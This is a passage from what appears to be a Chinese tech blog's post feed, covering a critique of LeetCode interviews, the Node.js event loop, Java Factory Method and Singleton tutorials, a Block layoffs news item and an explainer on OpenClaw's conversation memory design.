的评价体系里，“代码跑得快”是唯一的真理。哪怕你的代码里全是 i, j, k, dp, res 这种毫无语义的变量名，哪怕你的逻辑晦涩难懂如天书，只要能 AC（Accepted），你就是赢家。\n但在实际工程中，这种代码是灾难。好的工程师写出的代码是给人看的，其次才是给机器执行的。如果你的代码在生产环境中出了 Bug，同事半夜被叫醒排查，看到满屏追求极致技巧却毫无注释的“炫技代码”，他大概率会在心里把你骂上一万遍。LeetCode 培养出的“做题家”思维，与团队协作所需的工程素养往往是背道而驰的。\n3. 面试官的“安全牌”与偷懒。\n其实，很多面试官也根本不知道该怎么面试。对他们来说，从题库里随机抽一道题扔给候选人，是最省事、最没有风险的做法。如果你没写出来，那是你不行，面试官不需要承担招错人的责任。这种做法掩盖了面试官自身架构视野和识人能力的匮乏。要深入了解一个人的项目经验、技术深度和系统设计能力，需要面试官投入极大的精力和极高的技术水平去进行深度的技术探讨，而“考一道题”则轻易地把压力全抛给了候选人。\n四、 如何打破僵局：回归工程本质的面试方法 批判之后，我们需要建设。如果不考 LeetCode，我们该怎么筛选优秀的软件工程师？真正的面试，应该是一场对日常工作的高度模拟。\n1. 结对编程 (Pair Programming)\n不要让候选人在白板上写代码，给他一台配置好 IDE 的电脑。面试官准备一个真实但简化过的业务小项目，或者直接在公司的一个开源代码分支上，两人结对协作。\n●“我们现在有一个 Python 的服务端，用 FastAPI 写的，现在需要增加一个中间件来做简单的限流，你打算怎么做？”\n●允许候选人查阅文档，允许使用 Google。\n●观察他的编码习惯、他对框架的熟悉程度、他如何拆解问题，以及更重要的——他如何与你沟通和协作。\n2. 代码审查 (Code Review)\n给候选人一段存在各种“坑”的代码（可以是以前团队写出的真实烂代码，隐去敏感信息）。这段代码可能存在并发竞争、内存泄漏、或者设计模式的滥用。\n让候选人进行 Code Review。优秀的工程师能立刻嗅出代码中的“坏味道”，并提出合理的重构建议。这比让他默写快速排序要有效得多。\n3. 深度系统设计与项目复盘\n抛弃那些假大空的“如何设计一个推特”的八股文。让候选人深度讲解他简历中最自豪的一个项目。\n●“你在简历中提到主导了容器化改造，能画一下当时的 Kubernetes 架构图吗？”\n●“在使用 Ingress 和服务网格（比如 APISIX 或 Istio）时，你们遇到了什么性能瓶颈？是如何排查的？”\n●“你提到在做 AI 相关的研发，在整合底层大模型接口时，你们是如何处理长上下文带来的延迟问题和 token 消耗的？”\n通过深度的追问，直到触及他的知识边界。真正的行家，在谈论自己亲手一砖一瓦建起来的系统时，眼里是有光的，细节是经得起推敲的。\n4. 聊聊他创造的“小玩意儿”\n一个真正的工程师，往往是对技术充满热情的创造者。与其问算法，不如问问他平时都在折腾什么。如果他告诉你，他因为受不了浏览器书签太乱，正在自己设计开发一个管理书签的插件；或者他为了解某种新技术栈，自己搭了一个爬虫和数据展示网站。请让他展示一下！这种对痛点的敏锐察觉和动手解决问题的能力，是任何算法题都无法衡量出的核心特质。\n五、 结语：放过工程师，也放过企业自己 技术招聘走到今天“无算法不面试”的地步，是整个行业的悲哀。它消耗了工程师们原本可以用来学习新框架、钻研底层原理、甚至陪伴家人的宝贵精力；它也让企业错失了大量踏实肯干、经验丰富的实战派人才。\n编程，是一门结合了逻辑、工程、设计甚至艺术的创造性活动。它不该被简化为一场机械的背诵比赛。\n作为面试官，下次当你准备掏出一道 LeetCode Hard 题时，不妨停下来问问自己：“这道题，真的能帮我找到那个能和我并肩作战、一起扛住双十一流量洪峰、一起在深夜排查诡异 Bug 的可靠队友吗？”\n如果不能，请放下那道该死的算法题，和候选人像真正的工程师一样，聊聊真实的架构，看看真实的代码。\n把时间还给工程，把尊严还给工程师。\n","date":"2026-03-04T08:41:32Z","image":"https://pub-f29bf2b53160470c9a85250116509a24.r2.dev/post/2026-03-04-ju-jue-nei-juan-wei-shen-me-wo-men-ying-gai-di-zhi-yong-leet/cover.jpg","permalink":"/p/2026-03-04-ju-jue-nei-juan-wei-shen-me-wo-men-ying-gai-di-zhi-yong-leet/","title":"拒绝内卷！为什么我们应该抵制用 LeetCode 考查真实的工程师？"},{"content":"如果把 Node.js 比作一家快餐店：\n主线程（前台收银员）： 只有一个人。他负责接待顾客点单（执行同步代码）。他动作很快，绝不离开柜台。\n异步任务（复杂的后厨订单）： 顾客点了需要烤 20 分钟的披萨（读取大文件）。\nlibuv/底层系统（后厨团队/烤箱）： 收银员把订单贴到后厨窗口就继续接待下一位顾客了。后厨团队（线程池）或者烤箱（系统内核）开始默默干活。\nCallback Queue（出餐台）： 披萨烤好了，后厨把它放到出餐台，并附上小票“3号桌的披萨好了”。\nEvent Loop（收银员的习惯动作）： 收银员每服务完一个顾客（主线程空闲），就会下意识地回头看一眼出餐台。如果看到有做好的餐，就把它端给顾客（执行回调函数）。\n","date":"2026-03-03T04:38:15Z","image":"https://pub-f29bf2b53160470c9a85250116509a24.r2.dev/post/2026-03-03-dong-hua-yan-shi-node-js-de-shi-jian-xun-huan/cover.jpg","permalink":"/p/2026-03-03-dong-hua-yan-shi-node-js-de-shi-jian-xun-huan/","title":"动画演示 Node.js 的事件循环"},{"content":"一文讲透 GoF 的 23 种设计模式之工厂方法 工厂方法（Factory Method） 是创建型模式\n定义 用一句话概括工厂方法模式：定义一个用于创建对象的接口，让子类决定实例化哪一个类。 它让类的实例化推迟到了子类。\n简单工厂 了解工厂方法模式前，我们先了解下简单工厂，既然叫简单工厂，那自然很 “简单”。\n它的核心思想非常直接：专门定义一个类（包揽大权），通过接收不同的参数，用 switch 或 if-else 来决定创建并返回哪一种具体的产品实例。\n假设我们在开发一个 AI 应用，需要根据不同场景创建不同类型的 AI Agent（比如负责对话的 Agent，和负责处理数据的 Agent）。\n第一步：定义产品的共同接口和具体实现 1⚡ java片段// 1. 抽象产品 2public interface AIAgent { 3 voidexecuteTask(); 4} 5 6// 2. 具体产品 A：聊天助理 7publicclass ChatAgent implements AIAgent { 8 @Override 9 publicvoidexecuteTask() { 10 System.out.println(\u0026#34;ChatAgent: 正在与用户进行自然语言对话...\u0026#34;); 11 } 12} 13 14// 2. 具体产品 B：数据分析助理 15publicclass DataAnalysisAgent implements AIAgent { 16 @Override 17 publicvoidexecuteTask() { 18 System.out.println(\u0026#34;DataAnalysisAgent: 正在提取并分析核心数据...\u0026#34;); 19 } 20} 第二步：创建“简单工厂”类 1⚡ java片段// 3. 简单工厂类 (通常使用静态方法) 2publicclass AIAgentFactory { 3 4 // 根据传入的类型参数，决定实例化哪个具体的 Agent 5 publicstatic AIAgent createAgent(String agentType) { 6 if (\u0026#34;chat\u0026#34;.equalsIgnoreCase(agentType)) { 7 return new ChatAgent(); 8 } elseif (\u0026#34;data\u0026#34;.equalsIgnoreCase(agentType)) { 9 return new DataAnalysisAgent(); 10 } else { 11 throw new IllegalArgumentException(\u0026#34;未知的 Agent 类型: \u0026#34; + agentType); 12 } 13 } 14} 第三步：客户端调用 1⚡ java片段public class Client { 2 public static void main(String[] args) { 3 // 客户端不需要知道 ChatAgent 和 DataAnalysisAgent 是怎么被 new 出来的 4 // 只需要告诉工厂：“给我一个 chat 类型的 Agent” 5 AIAgent agent1 = AIAgentFactory.createAgent(\u0026#34;chat\u0026#34;); 6 agent1.executeTask(); 7 8 AIAgent agent2 = AIAgentFactory.createAgent(\u0026#34;data\u0026#34;); 9 agent2.executeTask(); 10 } 11} 结合代码，我们可以很直观地看到它的特点：\n●优点（省事、解耦）：客户端彻底和具体的实现类解耦了。你不需要在业务代码里到处写 new ChatAgent()，把“创建对象”的脏活累活全交给了工厂。\n●缺点（牵一发而动全身）：它严重违反了“开闭原则”（对扩展开放，对修改关闭）。假设我们现在要引入一个新的 CodingAgent（写代码助手），除了要新建产品类，你必须去修改 AIAgentFactory 里面的 if-else 代码。一旦产品种类极其庞大，这个工厂类就会变得非常臃肿且难以维护。\n正是为了解决简单工厂“违反开闭原则”的这个致命缺点，才演进出了工厂方法模式（把这一个大工厂，拆成了一个个不用改代码、只需新增的具体小工厂）。\n工厂方法模式的结构与角色 工厂方法模式主要包含四个角色：\n●抽象产品 (Product)：定义产品的统一接口。\n●具体产品 (Concrete Product)：实现抽象产品接口的具体类。\n●抽象工厂 (Creator)：声明返回产品对象的工厂方法。\n●具体工厂 (Concrete Creator)：重写工厂方法，返回具体的实例化产品\nJava 代码实现 1. 定义产品（大模型客户端） 1⚡ java片段// 抽象产品：统一的大模型调用接口 2public interface LLMClient { 3 String generate(String prompt); 4} 5 6// 具体产品 A：Claude 客户端 7publicclass ClaudeClient implements LLMClient { 8 private String modelVersion; 9 10 publicClaudeClient(String modelVersion) { this.modelVersion = modelVersion; } 11 12 @Override 13 public String generate(String prompt) { 14 return\u0026#34;[Claude \u0026#34; + modelVersion + \u0026#34;] 思考并返回结果...\u0026#34;; 15 } 16} 17 18// 具体产品 B：OpenAI 客户端 19publicclass OpenAIClient implements LLMClient { 20 private String endpoint; 21 22 publicOpenAIClient(String endpoint) { this.endpoint = endpoint; } 23 24 @Override 25 public String generate(String prompt) { 26 return\u0026#34;[OpenAI API] 处理输入并返回结果...\u0026#34;; 27 } 28} 2. 定义创建者（核心：业务骨架 + 工厂方法） 这里是关键：AgentWorkflow 不是一个纯粹的“工厂类”，它是业务类，工厂方法只是它的一部分。\n1⚡ java片段// 抽象创建者：Agent 工作流骨架 2public abstract class AgentWorkflow { 3 4 // 核心业务逻辑：定义了标准的处理流程（这其实也是个模板方法） 5 publicvoidprocessTask(String taskContext) { 6 System.out.println(\u0026#34;=== 1. 解析任务上下文，提取关键信息 ===\u0026#34;); 7 8 // 【灵魂所在】：这里调用工厂方法，拿到一个产品对象。 9 // 父类在此刻完全不知道自己拿到的是 Claude 还是 OpenAI。 10 LLMClient client = createLLMClient(); 11 12 System.out.println(\u0026#34;=== 2. 请求大模型进行推理 ===\u0026#34;); 13 String result = client.generate(taskContext); 14 15 System.out.println(\u0026#34;=== 3. 结果后处理并落库 ===\\n\u0026#34; + result + \u0026#34;\\n\u0026#34;); 16 } 17 18 // 【工厂方法】：将实例化具体产品的职责，推迟到子类去实现 19 protected abstract LLMClient createLLMClient(); 20} 3. 定义具体创建者（子类重写工厂方法） 1⚡ java片段// 具体创建者 A：基于 Claude 的工作流 2publicclass ClaudeAgentWorkflow extends AgentWorkflow { 3 @Override 4 protected LLMClient createLLMClient() { 5 // 这里封装 Claude 特有的复杂初始化逻辑（比如加载凭证、设置代理等） 6 System.out.println(\u0026#34; -\u0026gt; [工厂方法] 正在初始化 Claude 客户端环境...\u0026#34;); 7 return new ClaudeClient(\u0026#34;3.5-Sonnet\u0026#34;); 8 } 9} 10 11// 具体创建者 B：基于 OpenAI 的工作流 12publicclass OpenAIAgentWorkflow extends AgentWorkflow { 13 @Override 14 protected LLMClient createLLMClient() { 15 System.out.println(\u0026#34; -\u0026gt; [工厂方法] 正在构建 OpenAI 客户端环境...\u0026#34;); 16 return new OpenAIClient(\u0026#34;https://api.openai.com/v1\u0026#34;); 17 } 18} 4. 客户端调用 1⚡ java片段public class Client { 2 publicstaticvoidmain(String[] args) { 3 String task = \u0026#34;编写一段 Python Web 框架对比报告\u0026#34;; 4 5 // 场景 1：启动基于 Claude 的 Agent 工作流 6 AgentWorkflow claudeWorkflow = new ClaudeAgentWorkflow(); 7 claudeWorkflow.processTask(task); 8 9 // 场景 2：切换为基于 OpenAI 的 Agent 工作流 10 AgentWorkflow openaiWorkflow = new OpenAIAgentWorkflow(); 11 openaiWorkflow.processTask(task); 12 } 13} 如果你回看之前的例子，你会发现这个 Demo 解决了一个架构设计上的核心痛点：控制反转 (IoC) 的雏形。\n在 AgentWorkflow 这个父类中，业务主流程已经被彻底固化并复用（processTask 方法）。如果在未来，业务需求要求你接入一个全新的本地开源模型（比如 DeepSeek），你不需要修改任何现有的主流程代码，只需要：\n●新建一个 DeepSeekClient（实现 LLMClient）。\n●新建一个 DeepSeekAgentWorkflow，重写 createLLMClient() 方法返回这个新 Client。\n这才是工厂方法模式真正强大的地方：它是为了让高层模块（业务骨架）能够独立于底层模块（具体产品）的创建而存在，从而支撑起大型框架的扩展性。 JDK 里的 Iterable 接口和它的 iterator() 方法，本质上就是这种工厂方法模式的经典体现。\n什么时候用? ●你写的“父类流程”需要创建某种对象，但父类不该/不想知道具体类是谁（框架留扩展点的典型方式）。\n●你希望通过继承覆写来扩展“产物类型”，让调用方不动、流程不动。\n一些具体的场景：\n●框架扩展点：工厂方法很常见于“框架规定流程、业务方覆写创建”的场景（你写子类接入框架）。\n●Spring 的 FactoryBean：它的语义就是“这个 bean 不是普通 bean，而是用来生产另一个对象的”，并且暴露的是 getObject() 创建出来的对象。\n●Java ServiceLoader：通过 SPI 在运行时发现/加载实现类，属于“把具体实现延迟到运行时配置/部署”的一类机制，和“解耦创建与使用”的目标一致。\n注意模式的命名 我们回头看一下这个模式为什么叫 Factory Method，而不是干脆叫 Factory ? 这个命名是有讲究的。\n核心原因在于：这个模式的灵魂是一个“方法”，而不是一个“类”。\n1.“工厂 (Factory)”是一个通俗的广义概念：\n在日常沟通中，只要一个类的主要职责是造对象，我们都叫它工厂（比如前面提过的“简单工厂”，它就是一个充斥着 if-else 的具体类）。\n2.“工厂方法 (Factory Method)”强调的是面向对象中的“多态”与“继承”：\n在 GoF 的定义中，创建对象的逻辑并不是封装在一个独立的、包揽大权的“工厂类”里，而是定义在了一个普通业务类（Creator）的内部，作为一个抽象方法存在。\n●这个模式的精髓是：父类定义业务骨架，把其中“需要实例化具体对象”的那一步，挖空成一个方法（也就是 Factory Method）。\n●具体的实例化工作，推迟（Defer）到了子类去重写这个方法来实现\n","date":"2026-02-27T23:00:00Z","image":"https://pub-f29bf2b53160470c9a85250116509a24.r2.dev/post/2026-02-27-yi-wen-jiang-tou-gof-de-23-zhong-she-ji-mo-shi-zhi-gong-chan/cover.jpg","permalink":"/p/2026-02-27-yi-wen-jiang-tou-gof-de-23-zhong-she-ji-mo-shi-zhi-gong-chan/","title":"一文讲透 GoF 的 23 种设计模式之工厂方法"},{"content":"Square和Cash App的母公司周四宣布将裁减超过4,000个岗位——接近其一半员工,这可能是迄今为止一家大型公司围绕人工智能进行重组最明确的案例。CEO杰克·多西在X平台上发帖称,此次裁员将使员工人数从超过10,000人减少至不到6,000人。他将这一决定定位为对更精简、由AI驱动的运营模式的主动押注,而非对财务困境的回应。\n投资者对这一激进的成本削减举措以及强劲的第四季度业绩表示认可,公司股价在盘后交易中飙升超过20%。\n","date":"2026-02-27T04:28:01Z","image":"https://pub-f29bf2b53160470c9a85250116509a24.r2.dev/post/2026-02-27-block-cai-yuan-chao-4000-ren-jie-jin-yi-ban-yuan-gong-jin-xi/cover.jpg","permalink":"/p/2026-02-27-block-cai-yuan-chao-4000-ren-jie-jin-yi-ban-yuan-gong-jin-xi/","title":"Block裁员超4000人,接近一半员工,进行全面AI转型"},{"content":"很多人第一次用龙虾时都会有一个直觉：\n“聊久了，它应该会忘吧？”\n这个直觉没错。模型的上下文窗口是有限的，不可能把几万句对话永远都放在眼前。\n但你会看到系统表现得像这样：\n●不切 thread，也能连续推进一个长期任务\n●记得你之前的偏好、决定和待办\n●对话很长后也不会突然“失忆”\n这篇文章讲清楚它背后的工程逻辑。\n先讲结论：它靠的不是“超大脑子”，而是“分层记忆” 一个能长期连续工作的 AI 助手，通常不是在“硬记全部聊天记录”。\n它更像一个做事很靠谱的人：\n●脑子里保留当前任务所需的短期信息\n●把长期重要信息记到笔记本\n●需要时再去查笔记，而不是靠猜\n所以关键不是“记住一切”，而是“该记哪里、什么时候记、怎么取回来”。\n1 为什么“一个对话一直聊”不会乱 要做到这件事，第一步不是 memory，而是“会话归属稳定”。\n你可以把它理解成：\n●每条新消息进来，系统都要先回答“这条消息属于哪条连续会话？”\n●只要这个归属规则稳定，用户就会感受到“我一直在同一个对话里”\n如果归属不稳定，会发生什么？\n●今天这句进 A 会话\n●明天那句进 B 会话\n●用户感觉就是“它忽然不记得了”\n所以，连续性首先是路由问题，不是模型智商问题。\n2 长对话为什么不会把模型撑爆 即使会话归属稳定，也还有第二个难题： 上下文窗口会满。\n成熟系统会做三件事：\n1.限制最近历史 ：只保留与当前问题最相关的“最近若干轮”。\n2.自动压缩旧历史（compaction）：把很长的旧对话压成“结构化摘要”，保留关键决策和状态。\n3.失败兜底：如果压缩中断或超时，回退到安全快照，不让会话进入半坏状态。\n这和人工作很像：\n●桌上只放当前要处理的文件\n●老文件归档成摘要\n●归档出错就先回到上一个可用版本\n3 真正关键：Memory 不是“备份聊天记录” 很多人把 memory 理解成“把聊天全存起来”。\n这不够。\n真正可用的 memory 系统至少要回答 4 个问题：\n1.存什么\n2.什么时候存\n3.怎么找\n4.找到后给模型喂多少\n1 存什么 不是所有对话都值得永久存。\n通常要存的是：\n●稳定偏好（口味、风格、边界）\n●已确认决策（做过什么决定、为什么）\n●长周期任务状态（进行到哪一步）\n●关键事实（日期、人物、账号约束）\n2 什么时候存 好的系统会在“即将压缩上下文”前触发一次静默写入（memory flush）：\n●先把耐久信息落盘\n●再去压缩历史\n这样就不会因为压缩导致关键信息漂掉。\n3 怎么找 常见做法是“混合检索”：\n●关键词检索（你说了某个明确词）\n●语义检索（你换了说法但意思相近）\n然后把结果融合排序，优先给出最相关片段。\n4 找到后喂多少 成熟系统不会把整本记忆库都喂给模型。\n而是两步：\n●先 search，拿候选\n●再 get，只读取必要行\n这样上下文干净，成本低，稳定性高。\n4 一个通俗例子：为什么它看起来“真的记得你” 假设你连续三周都在推进“装修计划”。\n第一周你说：\n●不要开放式厨房\n●预算上限 20 万\n第二周你说：\n●客厅采光优先\n●工期希望 3 个月内\n第三周你问：\n“按我们之前的原则，周末我要见设计师，该先确认哪三件事？”\n如果系统只靠当前窗口，它可能忘掉第一周。\n如果它有分层记忆：\n●会话里保留最近讨论\n●长期记忆里有你前两周沉淀的偏好与约束\n●回答前先检索再取关键片段\n最终回答会更像“基于你的长期上下文”，而不是一次性临场发挥。\n5 一个点看懂工程质量 为什么 memory flush 不会乱触发，也不会重复触发。\n很多系统的问题不是“没有 memory flush”，而是“flush 触发太随意”，结果变成：\n●该写入时没写\n●不该写入时反复写\n●一次 compaction 周期里重复写同样内容\nOpenClaw 在这个点上做得很精细，核心是三段式控制。\n1 先算阈值，只在快到上限时触发 在 src/auto-reply/reply/memory-flush.ts 里，触发条件本质是：\n⚡ text片段//当 totalTokens \u0026gt;= threshold 时，才考虑 flush threshold = contextWindow - reserveTokensFloor - softThresholdTokens\n这让 flush 从“拍脑袋触发”变成“窗口压力驱动”。\n2 再做幂等控制，一轮 compaction 只 flush 一次 同一文件里还有一个关键判断（shouldRunMemoryFlush）：\n●当前会话有 compactionCount\n●上一次 flush 记录了 memoryFlushCompactionCount\n●如果两者相等，说明本轮已经 flush 过了，直接跳过\n这一步非常工程化。它不是靠“感觉上不会重复”，而是靠状态位严格去重。\n3 触发位置放在主回合之前，保证先落盘再压缩 在 src/auto-reply/reply/agent-runner.ts 中，runMemoryFlushIfNeeded() 被放在主回合执行前。\nsrc/auto-reply/reply/agent-runner-memory.ts 里会进一步检查：\n●不是 heartbeat\n●不是某些不适合的 provider 模式\n●工作区可写（只读沙箱不写）\n通过后才跑 flush 回合，并在结束后把这两个字段写回 session store：\n●memoryFlushAt\n●memoryFlushCompactionCount\n对应会话结构字段定义在 src/config/sessions/types.ts。\n它把“写记忆”做成了可证明的状态机，而不是一段“偶尔执行的辅助逻辑”。\n这就是为什么它在长对话压力下还能稳定，不会一边压缩一边把记忆策略搞乱。\n6 这套设计的代价与边界 这套方案很强，但不是魔法。\n优点 ●单对话体验稳定\n●长任务可持续\n●对“历史事实”更不容易胡编\n代价 ●系统更复杂（路由、索引、压缩、检索都要配合）\n●记忆质量取决于写入质量\n●参数没调好会影响召回质量或成本\n现实边界 ●记忆不是 100% 真相机，仍需要来源校验\n●高风险场景要保留“我不确定”与“可追溯引用”机制\n7 如果你在设计类似系统，最值得抓住的三件事 1.先保证会话归属稳定\n●不要一上来就追求复杂 memory，先让“同一个人同一类对话”稳定落在同一会话。\n2.把长期记忆外置\n●不要指望模型窗口长期记住一切。把耐久信息写进可检索存储。\n3.强制“先检索再回答”\n●在系统策略层明确约束：涉及历史事实必须先查 memory。\n●这是把“看起来聪明”变成“工程上可靠”的分水岭。\n结语 一个真正能长期协作的 AI，对外看起来像“记性很好”。\n但从工程上看，它做的是更朴素、也更难的一件事：\n把“记住”拆成可管理的流程。\n●谁的会话\n●当前保留什么\n●长期写入什么\n●回答前查什么\n当这四件事同时做好，用户才会得到那种自然体验：\n“我没有切 thread，但它一直跟得上我。”\n","date":"2026-02-26T09:18:40Z","image":"https://pub-f29bf2b53160470c9a85250116509a24.r2.dev/post/2026-02-26-openclaw-dan-dui-hua-lian-xu-xing-yu-memory-shen-du-jie-xi/cover.jpg","permalink":"/p/2026-02-26-openclaw-dan-dui-hua-lian-xu-xing-yu-memory-shen-du-jie-xi/","title":"OpenClaw 单对话连续性与 Memory 深度解析"},{"content":"一文讲透 GoF 的 23 种设计模式之单例 单例模式\u0026ndash;Singleton 是创建型模式\n定义 确保一个类在一个 JVM 内只有一个实例，并提供全局访问点\n什么时候用? ●配置中心、缓存管理器、日志器（有时）\n●需要全局共享状态/资源\n对于 那些初始化很贵，重复创建又特别浪费资源的场景非常合适 。\n不要滥用 单例本质是“全局变量 + 访问入口”，会增加耦合、影响测试\n实现方式 以下为常见的 5 种实现方式对比。\n实现方式 核心机制简述 并发安全性 (线程安全) 性能表现 核心易错点 / 致命缺陷 综合推荐度 1. 饿汉式(Eager) 类加载时立即创建静态 final 实例。 安全(JVM类加载机制保证) 高 (运行时)获取实例无锁。但可能会拖慢系统启动速度，且如果不用会浪费内存。 低实现简单，不易出错。缺点是无法进行懒加载，且难以传递动态参数进行初始化。 ⭐⭐⭐ 2. 懒汉式(同步方法) 在 getInstance 方法上加 synchronized 锁。 安全(粗粒度锁保证) 非常低每次调用 getInstance 都要发生线程竞争和锁获取，高并发下是严重的性能瓶颈。 低实现简单。主要的\u0026quot;错\u0026quot;是选择了这种低效的方案。 ⭐ 3. 双重检查锁(DCL) 两次判空 + 同步代码块 + volatile 关键字。 安全 (有前提)必须在实例变量上加 volatile 禁止指令重排序。 高只在第一次初始化时加锁，后续调用无锁。实现了高性能的懒加载。 极高 (致命)最常见的错误是忘记加 volatile 关键字。这会导致多线程环境下，某个线程可能会拿到一个\u0026quot;半初始化\u0026quot;的对象，引发难以排查的 Bug。 ⭐⭐⭐ 4. 静态内部类(Holder模式) 利用 JVM 加载外部类时不加载静态内部类的特性实现懒加载。 安全(JVM类加载机制保证) 高既实现了懒加载，又在获取实例时没有任何锁机制，性能优异。 低非常规整的写法。唯一需要注意的是要确保构造函数私有，防止外部意外实例化。 ⭐⭐⭐⭐⭐ (手动实现首选) 5. 枚举(Enum) 利用 Java 枚举类型的特殊语法和底层实现。 安全 (天然)(JVM 层面保障，防御反射和序列化攻击) 高类似于饿汉式，类加载时完成初始化，运行时无锁。 极低代码最简洁，几乎不可能写错。缺点是无法继承其他类，且在语义上用来做复杂业务对象时显得突兀。 ⭐⭐⭐⭐⭐ (最安全简洁) 重点说明两种实现方式：枚举和静态内部类。\n枚举 这是 Java 最简洁实现。Java 的 Enum 在语言层面有一些特殊保证（例如不会被克隆），这也是它常被用来实现单例的原因之一。\n1⚡ java片段public enum AppConfig { 2 INSTANCE; 3 4 private String env = \u0026#34;prod\u0026#34;; 5 6 public String getEnv() { 7 return env; 8 } 9 10 public void setEnv(String env) { 11 this.env = env; 12 } 13 14 public static void main(String[] args) { 15 AppConfig c1 = AppConfig.INSTANCE; 16 AppConfig c2 = AppConfig.INSTANCE; 17 18 c1.setEnv(\u0026#34;test\u0026#34;); 19 20 System.out.println(c1 == c2); // true 21 System.out.println(c2.getEnv()); // test 22 } 23} 使用枚举（enum）来实现单例模式，被《Effective Java》的作者 Joshua Bloch 称为 “实现单例模式的最佳方法”。\n它之所以备受推崇，是因为它用极其简洁的代码，完美解决了传统单例模式面临的线程安全、序列化破坏和反射破坏三大难题\n原理一：利用 JVM 类加载机制保证“线程安全”\n在传统的懒汉式单例中，为了保证多线程下只创建一个实例，我们需要写复杂的“双重检查锁（Double-Checked Locking）”并加上 volatile 关键字。\n而枚举怎么做的？\n当你定义 INSTANCE 时，编译器底层实际会把它转化为类似这样的代码：\n⚡ java片段public static final AppConfig INSTANCE = new AppConfig();\nJava 虚拟机（JVM）在加载类的时候，会利用底层的类加载机制保证静态成员的初始化是绝对线程安全的。在这个类被加载到内存时，JVM 会自动实例化 INSTANCE 且只实例化一次，整个过程由 JVM 内部加锁保证同步，不需要你手动写任何并发控制代码。\n原理二：天生防御“反射攻击”\n传统的单例模式有一个致命弱点：恶意代码可以通过 Java 的反射机制（Reflection）把私有构造函数设置为可见（setAccessible(true)），从而强行 new 出新的实例，打破单例。\n而枚举怎么做的？\nJava 的反射 API 从源码级别就直接“封杀”了通过反射创建枚举实例的可能性。如果你去看 Constructor.newInstance() 的 Java 底层源码，会发现有一段明确的校验逻辑：\n1⚡ java片段if ((clazz.getModifiers() \u0026amp; Modifier.ENUM) != 0) 2 throw new IllegalArgumentException(\u0026#34;Cannot reflectively create enum objects\u0026#34;); 也就是说，一旦 JVM 发现你要用反射去创建枚举类的对象，就会直接抛出异常，从根本上杜绝了反射攻击。\n原理三：天生防御“序列化破坏”\n传统的单例对象如果实现了 Serializable 接口，在进行网络传输或持久化到磁盘再反序列化读取回来时，默认会重新分配内存，生成一个全新的对象。传统做法是必须手动写一个 readResolve() 方法来返回原实例。\n而枚举怎么做的？\nJava 规范对枚举的序列化有特殊的规定。枚举在序列化的时候，仅仅是将枚举常量的名称（name）输出到了结果中；在反序列化的时候，Java 会调用 java.lang.Enum.valueOf() 方法，通过名字去查找并返回内存中已经存在的那个常量对象。\n因此，无论你反序列化多少次，拿到的永远是内存里的同一个 INSTANCE 对象。\n总结来说：枚举单例的核心原理就是 直接利用 Java 语言底层的机制：\n●用 JVM 类加载机制 搞定了线程安全。\n●用 反射 API 的硬编码拦截 搞定了反射破坏。\n●用 特殊的名称匹配机制 搞定了序列化破坏。\n在理论上，枚举单例确实是“最完美”的单例实现；但在实际的工程代码中，它的出场率确实不高。这并不是因为枚举本身有 bug，而是因为它在现代工程架构、面向对象设计理念以及测试友好度上，存在一些不可避免的局限性\n具体来说，有以下几个核心原因：\n1.现代框架（如 Spring）接管了单例的管理 这是最根本的原因。在现代 Java 工程中（尤其是企业级开发），我们几乎不再手动编写任何单例模式了。 我们广泛使用 Spring/Spring Boot 这样的依赖注入（DI）框架。在 Spring 中，你只需要在一个普通的类上加上 @Service、@Component 或 @Configuration 注解，Spring 容器（IoC Container）就会默认将其作为一个单例来管理。框架不仅帮你保证了单例，还能帮你自动注入其他依赖（如数据库连接、其他服务），这比用枚举手写单例要强大、灵活得多。\n2.违反了“语义”和开发者的直觉 代码不仅是给机器运行的，更是给人读的。 枚举的本来语义：代表一组固定的常量集合（如星期、颜色、订单状态）。单例的语义：通常是一个拥有复杂业务逻辑的管理类（如 UserManager、DatabaseConnectionPool）。\n如果把一个复杂的业务服务写成 enum，会让接手代码的其他开发者感到困惑，这违反了“最小惊讶原则（Principle of Least Astonishment）”。感觉就像是“为了用单例模式而强行用枚举”。\n3.面向对象特性的缺失（无法继承） Java 规定，所有的枚举类都隐式继承了 java.lang.Enum。因为 Java 不支持多重继承，这意味着你的枚举单例不能再继承任何其他的父类。 如果你的架构需要 AppConfig 继承一个 BaseConfig 类来复用代码，枚举单例直接就做不到。 虽然枚举可以实现接口（implements Interface），但在需要共享基类代码的场景下，它的表现非常无力。\n4.传参初始化非常困难 在工程实践中，单例对象在初始化时往往需要外部参数。比如，一个数据库连接池单例，在启动时需要读取配置文件里的 url 和 password。 普通的单例模式或 Spring 管理的 Bean，可以在运行时读取配置后，再进行初始化。 枚举常量的实例化是在类加载的最早期进行的，这个时候你很难把运行时的参数优雅地传递给枚举的构造函数。\n5.极难进行单元测试（Mock） 在做单元测试时，我们经常需要把某些依赖的单例对象“Mock（模拟）”掉（比如使用 Mockito），以隔离测试环境。 普通类别的单例很容易被 Mock 框架替换。但是，枚举是静态的全局常量，它的生命周期和类加载器绑定。在测试中强行替换枚举实例极其困难，容易导致测试用例之间互相污染。\n在实际工程中：\n●如果你要写一个完全无状态、不需要继承、不依赖外部配置的纯工具类/简单配置类，用枚举单例确实不错。\n●但对于包含业务逻辑、需要依赖注入、需要被测试的类，交给 Spring 等框架去管理才是工业界的最佳实践。\n静态内部类 如果你不想用枚举，又想要一个既能延迟加载（懒汉式），又绝对线程安全，还能完美避开繁琐的加锁（synchronized） 的单例，静态内部类是最佳选择。\n1⚡ java片段public class DatabaseConnectionPool { 2 3 // 1. 私有化构造函数，防止外部 new 4 private DatabaseConnectionPool() { 5 // 可选：在这里加上防御反射攻击的代码 6 if (SingletonHolder.INSTANCE != null) { 7 throw new RuntimeException(\u0026#34;不允许通过反射创建单例！\u0026#34;); 8 } 9 } 10 11 // 2. 核心：定义一个私有的静态内部类 12 // 这个类直到被调用时才会被 JVM 加载 13 private static class SingletonHolder { 14 // 由 JVM 保证这里的实例化是绝对线程安全的 15 private static final DatabaseConnectionPool INSTANCE = new DatabaseConnectionPool(); 16 } 17 18 // 3. 提供全局访问点 19 public static DatabaseConnectionPool getInstance() { 20 // 只有在调用这里时，SingletonHolder 才会被加载，从而实例化 INSTANCE 21 return SingletonHolder.INSTANCE; 22 } 23} 为什么它很巧妙？\n●懒加载（Lazy Loading）：当你加载 DatabaseConnectionPool 这个类时，内部类 SingletonHolder 并不会被立刻加载。只有当你真正调用 getInstance() 方法时，内部类才会被加载，对象才会被创建。这就节省了内存。\n●零并发负担：它没有使用任何 synchronized 或者 volatile 关键字。它完全将线程安全的控制权交给了 JVM 底层的类加载机制（JVM 